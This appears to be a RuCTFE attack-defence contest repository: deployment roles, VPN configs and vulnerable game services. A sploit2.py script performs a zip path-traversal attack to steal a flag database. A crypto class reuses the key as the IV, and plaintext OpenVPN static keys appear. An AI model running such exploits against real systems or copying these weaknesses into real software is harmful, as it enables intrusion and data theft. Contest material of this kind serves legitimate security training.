6 |
7 | struct matrix
8 | {
9 | int32 width;
10 | int32 height;
11 | double *data;
12 | };
13 |
14 | void m_init(struct matrix *m, int32 width, int32 height, double *data);
15 |
16 | double m_get(const struct matrix *m, int32 x, int32 y);
17 |
18 | void m_set(struct matrix *m, int32 x, int32 y, double value);
19 |
20 | void m_transpose(const struct matrix *src, struct matrix *dest);
21 |
22 | void m_multiply(const struct matrix *a, const struct matrix *b, struct matrix *result);
23 |
24 | void m_copy(const struct matrix *src, struct matrix *dest);
25 |
26 | void m_identity(struct matrix *m);
27 |
28 | void m_display_matrix(const struct matrix *m);
29 |
30 | void m_invert(const struct matrix *src, struct matrix *dest, struct matrix *temp);
--------------------------------------------------------------------------------
/ansible/roles/cs_common/templates/telegraf.conf.j2:
--------------------------------------------------------------------------------
1 | [global_tags]
2 |
3 | [agent]
4 | interval = "2s"
5 | round_interval = true
6 |
7 | metric_batch_size = 1000
8 | metric_buffer_limit = 10000
9 |
10 | collection_jitter = "0s"
11 | flush_interval = "5s"
12 | flush_jitter = "0s"
13 |
14 | precision = ""
15 |
16 | debug = false
17 | quiet = false
18 | logfile = ""
19 |
20 | omit_hostname = true
21 |
22 |
23 | # # Send telegraf metrics to file(s)
24 | # [[outputs.file]]
25 | # files = ["stdout"]
26 | # data_format = "influx"
27 |
28 | [[outputs.graphite]]
29 | servers = ["10.10.10.10:2003"]
30 | prefix = "cs"
31 | template = "measurement.tags.field"
32 | timeout = 20
33 |
34 | [[inputs.tail]]
35 | files = ["/home/cs/app/log/metrics.log"]
36 | from_beginning = false
37 | data_format = "influx"
38 |
--------------------------------------------------------------------------------
/services/atlablog/_buisness_views/logout.py:
--------------------------------------------------------------------------------
1 | from sanic import Blueprint
2 |
3 | from _buisness_views import USER_DB_NAME, REDIRECT_AFTER_LOGOUT
4 | from users import get_user_service
5 | from utils import redirect
6 |
7 | bp = Blueprint('logout')
8 |
9 |
10 | @bp.record
11 | def registered(state):
12 | app = state.app
13 | view = state.options.get('view')
14 |
15 | if not view:
16 | raise RuntimeError(
17 | "This blueprint expects you to provide view object! "
18 | "Use: app.blueprint(bp, view=...)")
19 |
20 | bp.view = view
21 |
22 |
23 | @bp.route('/logout')
24 | async def logout(request):
25 | response = redirect(request, REDIRECT_AFTER_LOGOUT)
26 | service = get_user_service(USER_DB_NAME)
27 | await service.set_request_user(request, response, user=None)
28 | return response
29 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/antidos/antidos_serv.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import asyncio
4 |
5 |
6 | MSG = """Please, stop the flood attack on the game network.
7 |
8 | ---
9 | RuCTFE organizers.
10 | """
11 |
12 |
13 | def accept_client(client_reader, client_writer):
14 | task = asyncio.Task(handle_client(client_reader, client_writer))
15 |
16 | def client_done(task):
17 | client_writer.close()
18 |
19 | task.add_done_callback(client_done)
20 |
21 |
22 | @asyncio.coroutine
23 | def handle_client(client_reader, client_writer):
24 | client_writer.write(MSG.encode())
25 |
26 |
27 | def main():
28 | loop = asyncio.get_event_loop()
29 | f = asyncio.start_server(accept_client, host=None, port=40001)
30 | loop.run_until_complete(f)
31 | loop.run_forever()
32 |
33 | if __name__ == '__main__':
34 | main()
35 |
--------------------------------------------------------------------------------
/services/atlablog/test_view.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from views import View
4 |
5 |
6 | def test_render_without_context():
7 | view = View({"HTML_TEMPLATES_DIR": 'templates'})
8 | html = view.render('example')
9 | assert '' in html
10 | assert 'hello!
' in html
11 |
12 |
13 | def test_render_with_context():
14 | view = View({"HTML_TEMPLATES_DIR": 'templates'})
15 | html = view.render('example', {'name': 'AKJWFaawkjfbaw'})
16 | assert '' in html
17 | assert 'hello! AKJWFaawkjfbaw
' in html
18 |
19 |
20 | def test_render_not_found_template():
21 | view = View({"HTML_TEMPLATES_DIR": 'templates'})
22 | with pytest.raises(view.ViewError) as excinfo:
23 | view.render('example.html')
24 | excinfo.match(r'View "html" .*TemplateNotFound.*example\.html\.html')
25 |
--------------------------------------------------------------------------------
/ansible/roles/dump/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: install wireshark-common package
2 | apt: name=wireshark-common state=latest
3 | tags: dump
4 |
5 | - name: create dump directory
6 | file: path=/home/dump state=directory
7 | tags: dump
8 |
9 | - name: copy start_dump_eth1.sh
10 | copy: src=start_dump_eth1.sh dest=/home/dump/start_dump.sh mode=0755
11 | when: datacenter=='a'
12 | tags: dump
13 |
14 | - name: copy start_dump_eth0.sh
15 | copy: src=start_dump_eth0.sh dest=/home/dump/start_dump.sh mode=0755
16 | when: datacenter=='b'
17 | tags: dump
18 |
19 | - name: copy get_pkg_stat.sh
20 | copy: src=get_pkg_stat.sh dest=/home/dump/get_pkg_stat.sh mode=0755
21 | tags: dump
22 |
23 | - name: copy dump systemd service
24 | copy: src=dump@.service dest=/etc/systemd/system/dump@.service
25 | notify: enable and restart dump
26 | tags: dump
27 |
28 |
29 |
--------------------------------------------------------------------------------
/ansible/roles/cs_common/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: ensure user
2 | user: name={{cs_user}} state=present
3 |
4 | - name: ensure common requirements
5 | apt: name={{item}} state=latest update_cache=yes
6 | with_items:
7 | - libssl-dev
8 | - libpq-dev
9 | - cpanminus
10 | - git
11 | - build-essential
12 |
13 | - name: clone repo
14 | git: repo=https://github.com/HackerDom/checksystem.git dest={{cs_dir}}/app
15 | become: yes
16 | become_user: "{{cs_user}}"
17 |
18 | - name: copy config
19 | template: src={{cs_conf}} dest={{cs_dir}}/app/c_s.conf owner={{cs_user}} group={{cs_user}}
20 |
21 | - name: ensure permissions
22 | file: path={{cs_dir}}/app owner={{cs_user}} group={{cs_user}} recurse=yes
23 |
24 | - name: perl modules
25 | command: cpanm -n --installdeps {{cs_dir}}/app
26 | register: r
27 | changed_when: "r.stdout.find('Found dependencies') != -1"
28 |
--------------------------------------------------------------------------------
/services/thebin/nginx.conf:
--------------------------------------------------------------------------------
1 | worker_processes 4;
2 | error_log /var/log/nginx/error.log notice;
3 | load_module modules/ndk_http_module.so;
4 | load_module modules/ngx_http_lua_module.so;
5 |
6 | events {
7 | worker_connections 1024;
8 | }
9 |
10 | http {
11 | include mime.types;
12 | lua_package_path '/etc/nginx/?.lua;;';
13 |
14 | server {
15 | listen 80;
16 | charset utf-8;
17 |
18 | location ~* /(login|logout|publish|post) {
19 | content_by_lua '
20 | require("lapis").serve("app")
21 | ';
22 | }
23 |
24 | location /publics {
25 | content_by_lua '
26 | require("public").process()
27 | ';
28 | }
29 |
30 | location /my {
31 | content_by_lua '
32 | require("my").process()
33 | ';
34 | }
35 |
36 | location / {
37 | root /etc/nginx/static/;
38 | }
39 |
40 | location /static/ {
41 | root /etc/nginx/;
42 | }
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/services/atlablog/users/decorators.py:
--------------------------------------------------------------------------------
1 | from functools import wraps
2 | from inspect import isawaitable
3 |
4 | from utils import redirect
5 | from . import get_user_service
6 |
7 |
8 | def login_required(*, login_url='/login', user_db_name=None):
9 | if not isinstance(login_url, str):
10 | raise TypeError('login_url is not a str')
11 |
12 | def decorate(func):
13 | async def wrapper(request, *args, **kwargs):
14 | service = get_user_service(user_db_name)
15 | user = await service.get_request_user(request)
16 | if not user.is_authenticated():
17 | return redirect(request, login_url)
18 |
19 | response = func(request, *args, **kwargs)
20 | if isawaitable(response):
21 | response = await response
22 | return response
23 |
24 | return wrapper
25 |
26 | return decorate
27 |
--------------------------------------------------------------------------------
/services/sapmarine/Sources/Trip.swift:
--------------------------------------------------------------------------------
1 | import SwiftyJSON
2 | import Foundation
3 |
4 | public class Trip {
5 | var id: String;
6 | var passenger: String;
7 | var driver: String;
8 |
9 | init(_ passenger: String, _ driver: String){
10 | id = UUID().uuidString;
11 | self.passenger = passenger
12 | self.driver = driver
13 | }
14 |
15 | convenience init(_ jsonString : String) {
16 | let dataFromString = jsonString.data(using: .utf8, allowLossyConversion: false)!
17 | let json = JSON(data: dataFromString)
18 | self.init(json)
19 | }
20 |
21 | init(_ json: JSON) {
22 | id = json["id"].stringValue
23 | passenger = json["passenger"].stringValue
24 | driver = json["driver"].stringValue
25 | }
26 |
27 | public func toJson() -> String {
28 | return JSONSerializer.toJson(self)
29 | }
30 | }
--------------------------------------------------------------------------------
/ansible/roles/sapmarine/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Create user
3 | user: createhome=yes name=sapmarine
4 |
5 | - name: Copy service
6 | copy:
7 | src: "{{ playbook_dir }}/../services/sapmarine/"
8 | dest: "/home/sapmarine/"
9 |
10 | - name: Build project
11 | command: swift build -c release --build-path /home/sapmarine/bin/
12 | args:
13 | chdir: /home/sapmarine/
14 | environment:
15 | PATH: "/opt/swift-3.0-RELEASE-ubuntu14.04/usr/bin:{{ ansible_env.PATH }}"
16 | tags:
17 | - skip_ansible_lint
18 |
19 | - name: Fix permissions
20 | file: name="/home/sapmarine" state=directory owner=sapmarine recurse=yes
21 |
22 | - name: Add systemd service
23 | template: src=service.j2 dest=/lib/systemd/system/sapmarine.service
24 |
25 | - name: Enable service
26 | service: name=sapmarine enabled=yes
27 |
28 | - name: Start service
29 | service: name=sapmarine state=restarted
30 | tags:
31 | - skip_ansible_lint
32 |
--------------------------------------------------------------------------------
/services/atlablog/utils.py:
--------------------------------------------------------------------------------
1 | from sanic.response import HTTPResponse
2 |
3 |
4 | def redirect(request, to_url, headers=None, status=None, content_type=None):
5 | """
6 | Aborts execution and causes a 303 or 302 redirect, depending on
7 | the HTTP 1.1 method.
8 | """
9 | if not content_type:
10 | content_type = "text/html; charset=utf-8"
11 | if not status:
12 | if request.method == "POST":
13 | # See: https://en.wikipedia.org/wiki/HTTP_303
14 | status = 303
15 | else:
16 | status = 302
17 | if not to_url.startswith("/") and not to_url.startswith("http"):
18 | to_url = "/" + to_url
19 | if headers is None:
20 | headers = {}
21 | # According to RFC 7231, a relative URI is now permitted.
22 | headers['Location'] = to_url
23 | return HTTPResponse(status=status, headers=headers,
24 | content_type=content_type)
25 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/networkclosed/check_network.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | NETOPENED=$(cat /proc/sys/net/ipv4/ip_forward)
4 |
5 | if [[ $NETOPENED == 1 ]]; then
6 | echo Network is opened
7 |
8 | for num in {0..767}; do
9 | ip="10.$((80 + num / 256)).$((num % 256)).1"
10 | iptables -t nat -w -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null
11 | if [[ $? == 0 ]]; then
12 | echo "Warning: DNAT record still exists for team ${num}"
13 | fi
14 | done
15 |
16 | else
17 | echo Network is closed
18 |
19 | for num in {0..767}; do
20 | ip="10.$((80 + num / 256)).$((num % 256)).1"
21 | iptables -t nat -w -C PREROUTING -i team${num} -p tcp -m tcp -m comment --comment closednetwork -j DNAT --to-destination ${ip}:40002 &> /dev/null
22 | if [[ $? != 0 ]]; then
23 | echo "Warning: no DNAT record for team ${num}"
24 | fi
25 | done
26 | fi
27 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/kotlin/cartographer/crypto/DefaultCryptography.kt:
--------------------------------------------------------------------------------
1 | package cartographer.crypto
2 |
3 | import org.springframework.stereotype.Component
4 | import java.security.Key
5 | import javax.crypto.Cipher
6 | import javax.crypto.spec.IvParameterSpec
7 |
8 | @Component
9 | class DefaultCryptography(val cryptographySettings: CryptographySettings) : Cryptography {
10 | override fun encrypt(key: Key, plaintext: ByteArray): ByteArray {
11 | val cipher = Cipher.getInstance(cryptographySettings.cipherSpec)
12 | cipher.init(Cipher.ENCRYPT_MODE, key, IvParameterSpec(key.encoded))
13 | return cipher.doFinal(plaintext)
14 | }
15 |
16 | override fun decrypt(key: Key, ciphertext: ByteArray): ByteArray {
17 | val cipher = Cipher.getInstance(cryptographySettings.cipherSpec)
18 | cipher.init(Cipher.DECRYPT_MODE, key, IvParameterSpec(key.encoded))
19 | return cipher.doFinal(ciphertext)
20 | }
21 | }
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/snat/add_snat_rules.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # adds rules for teams snat. Team will see incoming connections from 10.8{0..3}.{0..255}.1
3 | # this script should be run once before the game starts
4 |
5 | # check if the rules are already exists
6 | for num in {0..767}; do
7 | ip="10.$((80 + num / 256)).$((num % 256)).1"
8 |
9 | if iptables -t nat -C POSTROUTING -o team${num} -j SNAT --to-source ${ip} &>/dev/null; then
10 | echo "SNAT rules already exists, delete them first"
11 | exit 1
12 | fi
13 | done
14 |
15 |
16 | for num in {0..767}; do
17 | ip="10.$((80 + num / 256)).$((num % 256)).1"
18 |
19 | iptables -t nat -A POSTROUTING -o team${num} -j SNAT --to-source ${ip}
20 | done
21 |
22 | sysctl net.nf_conntrack_max=30000000
23 | echo "sysctl net.nf_conntrack_max=30000000"
24 |
25 | echo 33554432 > /sys/module/nf_conntrack/parameters/hashsize
26 | echo "echo 33554432 > /sys/module/nf_conntrack/parameters/hashsize"
27 |
--------------------------------------------------------------------------------
/services/atlablog/sessions/models.py:
--------------------------------------------------------------------------------
1 | import peewee
2 | from peewee_async import Manager
3 |
4 |
5 | def make_models(db, db_name, loop):
6 | class SessionStorage(peewee.Model):
7 | key = peewee.CharField(max_length=40, unique=True)
8 | value = peewee.TextField(default='')
9 |
10 | class Meta:
11 | database = db
12 | db_table = db_name
13 |
14 | def initdb():
15 | with db.allow_sync():
16 | SessionStorage.create_table(True)
17 |
18 | def dropdb():
19 | with db.allow_sync():
20 | SessionStorage.drop_table(True)
21 |
22 | def make_manager():
23 | # create table synchronously
24 | manager = Manager(db, loop=loop)
25 | # disable any future syncronous calls
26 | # raise AssertionError on ANY sync call
27 | manager.database.allow_sync = False
28 | return manager
29 |
30 | return initdb, dropdb, make_manager(), SessionStorage
31 |
--------------------------------------------------------------------------------
/ansible/roles/backuper/files/checksystem_backup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | host_a="185.32.185.55"
4 | host_b="5.45.248.212"
5 |
6 | filename=$(date -u "+%Y%m%d-%H%M.txt.gz")
7 |
8 | ssh_opts="-o StrictHostKeyChecking=no -o CheckHostIP=no"
9 | ssh_opts="$ssh_opts -o NoHostAuthenticationForLocalhost=yes"
10 | ssh_opts="$ssh_opts -o BatchMode=yes -o LogLevel=ERROR"
11 | ssh_opts="$ssh_opts -o UserKnownHostsFile=/dev/null"
12 |
13 | file_a="/home/backuper/a/${filename}"
14 | file_b="/home/backuper/b/${filename}"
15 |
16 | timeout -s9 180 ssh $ssh_opts "postgres@${host_a}" 'pg_dumpall | gzip' > $file_a
17 | size=`stat -c %s $file_a`
18 | if [[ $? != 0 || $size == 0 ]]; then
19 | ls -l $file_a |& mail -s "Site A backup failed!" bay@hackerdom.ru
20 | fi
21 |
22 | timeout -s9 180 ssh $ssh_opts "postgres@${host_b}" 'pg_dumpall | gzip' > $file_b
23 | size=`stat -c %s $file_b`
24 | if [[ $? != 0 || $size == 0 ]]; then
25 | ls -l $file_b |& mail -s "Site B backup failed!" bay@hackerdom.ru
26 | fi
27 |
--------------------------------------------------------------------------------
/sploits/crash/sploit2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import sys
3 | import os
4 | import zipfile
5 | import requests
6 | from io import BytesIO
7 |
8 | addr = sys.argv[1]
9 | guid = sys.argv[2]
10 |
11 | # zip minidump file
12 | inMemoryZip = BytesIO()
13 | zf = zipfile.ZipFile( inMemoryZip, mode='w' )
14 | zf.write( "dump.dmp", arcname = '%s.dmp' % guid )
15 | zf.write( "dummy.file", "../../reports.db" )
16 | zf.close()
17 | inMemoryZip.seek(0)
18 |
19 | # submit report
20 | url = 'http://%s/submit' % ( addr )
21 | print url
22 | files = { 'dump_zip_file': inMemoryZip.read() }
23 | headers = { 'Service-Name' : "submarine_internal", 'GUID' : guid }
24 | requests.post(url, files=files, headers=headers )
25 |
26 | # download zip with reports.db
27 | url = 'http://%s/%s/get' % ( addr, guid )
28 | r = requests.get( url )
29 | zip = zipfile.ZipFile( BytesIO( r.content ) )
30 | database = zip.read( "../../reports.db" )
31 | open( "reports.db", 'wb' ).write( database ) # we got the DATABASE WITH FLAGS!!
32 |
--------------------------------------------------------------------------------
/ansible/roles/cs_master/templates/nginx.conf.j2:
--------------------------------------------------------------------------------
1 | upstream cs {
2 | server 127.0.0.1:8080;
3 | }
4 |
5 | server {
6 | listen 80;
7 | access_log /var/log/nginx/cs.access.log;
8 |
9 | gzip on;
10 | gzip_types text/plain text/css application/javascript application/json;
11 | client_max_body_size 50m;
12 |
13 | location / {
14 | proxy_pass http://cs;
15 | proxy_set_header X-Real-IP $remote_addr;
16 | proxy_set_header Host $http_host;
17 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
18 | }
19 |
20 | location /update {
21 | proxy_pass http://cs;
22 | proxy_http_version 1.1;
23 | proxy_set_header X-Real-IP $remote_addr;
24 | proxy_set_header Host $http_host;
25 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
26 | proxy_set_header Upgrade $http_upgrade;
27 | proxy_set_header Connection "upgrade";
28 | }
29 |
30 | location /viz {
31 | root /home/cs;
32 | index viz.html;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring/files/default:
--------------------------------------------------------------------------------
1 | upstream django {
2 | # Distribute requests to servers based on client IP. This keeps load
3 | # balancing fair but consistent per-client. In this instance we're
4 | # only using one uWGSI worker anyway.
5 | server unix:/tmp/graphite.sock;
6 | }
7 |
8 | server {
9 | listen 80 default_server;
10 |
11 | location /static/ {
12 | alias /usr/share/graphite-web/static/;
13 | }
14 |
15 | location / {
16 | uwsgi_pass django;
17 | include uwsgi_params;
18 | }
19 |
20 | location /g/ {
21 | proxy_pass http://127.0.0.1:3000/;
22 | proxy_redirect off;
23 | proxy_set_header Host $host;
24 | }
25 |
26 | location = /favicon.ico {
27 | alias /var/www/grafana/favicon.ico;
28 | }
29 | auth_basic "Oops!";
30 | auth_basic_user_file /etc/nginx/htpasswd;
31 | }
32 |
--------------------------------------------------------------------------------
/ansible/roles/thebin/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Install requirements
3 | apt: name={{ item }} default_release=testing
4 | with_items:
5 | - libssl-dev
6 | - luarocks
7 | - git
8 |
9 | - name: Copy service
10 | synchronize:
11 | src: "{{ playbook_dir }}/../services/thebin/"
12 | dest: "/etc/nginx/"
13 | recursive: yes
14 | use_ssh_args: yes
15 | rsync_opts:
16 | - "--exclude=rand.c"
17 | notify: restart nginx
18 |
19 | - name: Install lua requirements
20 | command: luarocks install {{ item.name }} creates=/usr/local/share/lua/5.1/{{ item.creates }}
21 | with_items:
22 | - { name: md5, creates: md5.lua }
23 | - { name: lapis, creates: lapis }
24 | notify: restart nginx
25 |
26 | - name: Fix permissions
27 | file: name="/etc/nginx/" state=directory owner=www-data recurse=yes
28 | notify: restart nginx
29 |
30 | - name: Add startup for config.lua
31 | lineinfile: dest=/etc/rc.local insertbefore="exit 0" line="/etc/nginx/startup.sh"
32 |
--------------------------------------------------------------------------------
/services/atlablog/sessions/README.md:
--------------------------------------------------------------------------------
1 | # get session data
2 |
3 | form session import session_blueprint, get_session_service
4 | NAME = 'sessions'
5 | app = ...
6 | app.blueprint(session_blueprint, db=database, db_name=NAME, loop=None)
7 |
8 | @app.route('/')
9 | async def handler_get_data(request):
10 | # get data
11 | data = await get_session_service(NAME).get_request_session_data(request)
12 | ...
13 |
14 | @app.route('/')
15 | async def handler_get_data(request):
16 | response = ...
17 | data = ...
18 | ...
19 | # set data
20 | await get_session_service(NAME).set_request_session_data(request, response, data)
21 | ...
22 | return response
23 |
24 |
25 | # low lewel API
26 |
27 | async def examples():
28 | session = get_session_service(NAME)
29 | await get_session_data(uid)
30 | await set_session_data(uid, data)
31 | await update_session_data(uid, data)
32 |
--------------------------------------------------------------------------------
/services/sapmarine/Sources/Utils.swift:
--------------------------------------------------------------------------------
1 | import Foundation
2 |
3 | extension String
4 | {
5 | func trim() -> String
6 | {
7 | return self.trimmingCharacters(in: CharacterSet.whitespacesAndNewlines)
8 | }
9 |
10 | func fromBase64() -> String? {
11 | guard let data = Data(base64Encoded: self) else {
12 | return nil
13 | }
14 |
15 | return String(data: data, encoding: .utf8)
16 | }
17 |
18 | func toBase64() -> String {
19 | return Data(self.utf8).base64EncodedString()
20 | }
21 |
22 | func htmlEncode() -> String {
23 | return self.replacingOccurrences(of: "&", with: "&")
24 | .replacingOccurrences(of: "\"", with: """)
25 | .replacingOccurrences(of: "'", with: "'")
26 | .replacingOccurrences(of: "<", with: "<")
27 | .replacingOccurrences(of: ">", with: ">")
28 | .replacingOccurrences(of: "/", with: "/")
29 | }
30 | }
--------------------------------------------------------------------------------
/services/sapmarine/Sources/Profile.swift:
--------------------------------------------------------------------------------
1 | import SwiftyJSON
2 | import Foundation
3 |
4 | public class Profile {
5 | var name: String
6 | var fullName: String
7 | var job: String
8 | var notes: String
9 |
10 | init(_ name: String, _ fullName: String, _ job: String, _ notes: String) {
11 | self.name = name
12 | self.fullName = fullName
13 | self.job = job
14 | self.notes = notes
15 | }
16 |
17 | convenience init(_ jsonString : String) {
18 | let dataFromString = jsonString.data(using: .utf8, allowLossyConversion: false)!
19 | let json = JSON(data: dataFromString)
20 | self.init(json)
21 | }
22 |
23 | init(_ json: JSON) {
24 | name = json["name"].stringValue
25 | fullName = json["fullName"].stringValue
26 | job = json["job"].stringValue
27 | notes = json["notes"].stringValue
28 | }
29 |
30 | public func toJson() -> String {
31 | return JSONSerializer.toJson(self)
32 | }
33 | }
--------------------------------------------------------------------------------
/ansible/roles/vpn/gen/gen_conf_server.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 |
4 | N = 768
5 |
6 | SERVER_DATA = """mode p2p
7 | port {0}
8 | dev team{1}
9 | dev-type tun
10 | ifconfig 10.{2}.{3}.1 10.{2}.{3}.2
11 | route 10.{4}.{3}.0 255.255.255.0
12 | keepalive 10 60
13 | ping-timer-rem
14 | persist-tun
15 | persist-key
16 |
17 | txqueuelen 1000
18 | tun-mtu 1500
19 | fragment 1300
20 | mssfix
21 |
22 |
23 | {5}
24 |
25 | """
26 |
27 | if __name__ != "__main__":
28 | print("I am not a module")
29 | sys.exit(0)
30 |
31 | # gen client configs
32 | os.chdir(os.path.dirname(os.path.realpath(__file__)))
33 | try:
34 | os.mkdir("server")
35 | except FileExistsError:
36 | print("Remove ./server dir first")
37 | sys.exit(1)
38 |
39 | for i in range(N):
40 | key = open("keys/%d.key" % i).read()
41 |
42 | data = SERVER_DATA.format(30000+i, i, 80 + i // 256,
43 | i % 256, 60 + i // 256, key)
44 | open("server/%d.conf" % i, "w").write(data)
45 |
46 | print("Finished, check ./server dir")
47 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/0.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30000
3 | dev team0
4 | dev-type tun
5 | ifconfig 10.80.0.1 10.80.0.2
6 | route 10.60.0.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | abc85988bb07819444d7636f4337f653
23 | 5120d605c2400228c142a667758237bf
24 | 2bbb6df641343049c6465549f750c47f
25 | ac9b93560bca1095ce769bbcb0955211
26 | 487a5b310f33d0b11b9b02a8dbe8ce6e
27 | 383f49a22f3840706aeb051eba24cecb
28 | 4b00301c22029d0b27e87fd443c6e31d
29 | 7828794a3a7c215a2edef4765edeb285
30 | c578af7a671204118785cacc35deb27c
31 | 8477278fd49b9eaab053175ce25b5ebe
32 | 62a7f41d203826b491d0b8bcf6b2fa0d
33 | 6a853b27e008a12d1a1fcc38774affb2
34 | 31649baaa5676875d48289bd671553b2
35 | d7829b7a37ae0f7870c89cbba89b8292
36 | b72dd5ebc297eda8026ba686df275cfc
37 | 5830a4479e7114649bbddca93c61b25c
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/1.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30001
3 | dev team1
4 | dev-type tun
5 | ifconfig 10.80.1.1 10.80.1.2
6 | route 10.60.1.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 7233707fc21d141962a7e7e4fd82f2d2
23 | a62b014e3870ad611bdc68394df962ca
24 | 9895c4a82ebf228f3509408bfed64c26
25 | a14c9487791fc86d6d4fdffb67f1ba43
26 | acc300bcdc6331c43810e17435421d5a
27 | d13566e6919d445d50082bc2de6e064b
28 | 33d34a5c9b3a6ff37c7f6b826a307179
29 | dffa4963e1686e4f8472da0162db3065
30 | 005486493334c5172ef4ae4f5917305d
31 | 70d024908aa878e9baae730fc54c6600
32 | 9f6efb22af73b0d69d6060a1b8454929
33 | 4b77950698c745d33965747adbd6d8a2
34 | a2c63a7922df5a2b4938c80a2306a7a2
35 | ca42c814996112e7770566d77c87b0fc
36 | e5e14e218228fc3549d729b5245939be
37 | b46950d6034adc92304c3d86d9c57043
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/2.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30002
3 | dev team2
4 | dev-type tun
5 | ifconfig 10.80.2.1 10.80.2.2
6 | route 10.60.2.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 6d8cd905c0e634bfe4acfed398a8bc54
23 | 1378628647bdf9cd7e2c6091c61a2961
24 | ee64c2d04d028efe159f948febb0d865
25 | af8c97bcef22d6f5b5847b4cf383a141
26 | 2c1bf899253f9143539acf7fee1b7a31
27 | 792c4c12afc503f821dec7cba09d2aea
28 | b7ee0794f71e2426a077cd2053df9526
29 | 3266fa05fb70d0757c1abb5d6824308a
30 | 05a7fa6dfaa2068db034b0e14d4b97b0
31 | c411ec1269dc048726218a5ffcaf407c
32 | eb2d616fcfe9e61f8b310abe453e5bf6
33 | 365720584d052620e6cb2b128a2685a8
34 | c00941570d6cef872dc5c7d901b34e1b
35 | 3d8dfe92f2fd164f571892fda6358543
36 | 78ee0dba79d36d37d37465fc04f46c3f
37 | bce69555e2173cc58094ec3e3e16309a
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/256.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30256
3 | dev team256
4 | dev-type tun
5 | ifconfig 10.81.0.1 10.81.0.2
6 | route 10.61.0.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | fbb8ea46933499f4f23ab0172fd1f06c
23 | 841571070bed45351ecdcdaff56efb20
24 | 4c9f3b7dcfb7a338d7c095d98f2800f9
25 | 3e0161b8526fe65c65e48b8daccd26f5
26 | 655fcaf7b426b930d06bbc0e1b678d7a
27 | 7bdd0e45c75bd04bf371f85c8812fa77
28 | b688943f93c5f00d8823212789b88b59
29 | be91f3bc6e53e4051266daa0d51ae08c
30 | ed55098bd318ac57859bd99849466e71
31 | ee2e635b7cefa8ba23eff1adc22c0ced
32 | 11e97dcdd00edfa02078f766a5ac9720
33 | a716a20e28011c77f28d8b57d459e1dd
34 | 9859c8c3ea0cc86f991030522fef009d
35 | 7848887159a66441cfdc6f954b09fe41
36 | b4482fa0cb403b464ac6b386998e1a7a
37 | 8e604f436726c8ee5a7861c7f2bb5cc4
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/257.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30257
3 | dev team257
4 | dev-type tun
5 | ifconfig 10.81.1.1 10.81.1.2
6 | route 10.61.1.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 99e95f68035cf1d38fab0f9dcbe42228
23 | 32f3c3030470aaa45972c0c5e399eb8f
24 | dfd2b3ae162c9268f0b7d1ff82d5cb43
25 | 5886cd6b8fdccc95409a0e66d3553227
26 | 85766f2f00175f8e211318bd1c6932a6
27 | 51dd20b40e0d6e92a81c9fa95206bb73
28 | 9c7f22981ad4d98f27bd7fcd9640abf2
29 | 9911565df0d3679b03c72761d4bf183d
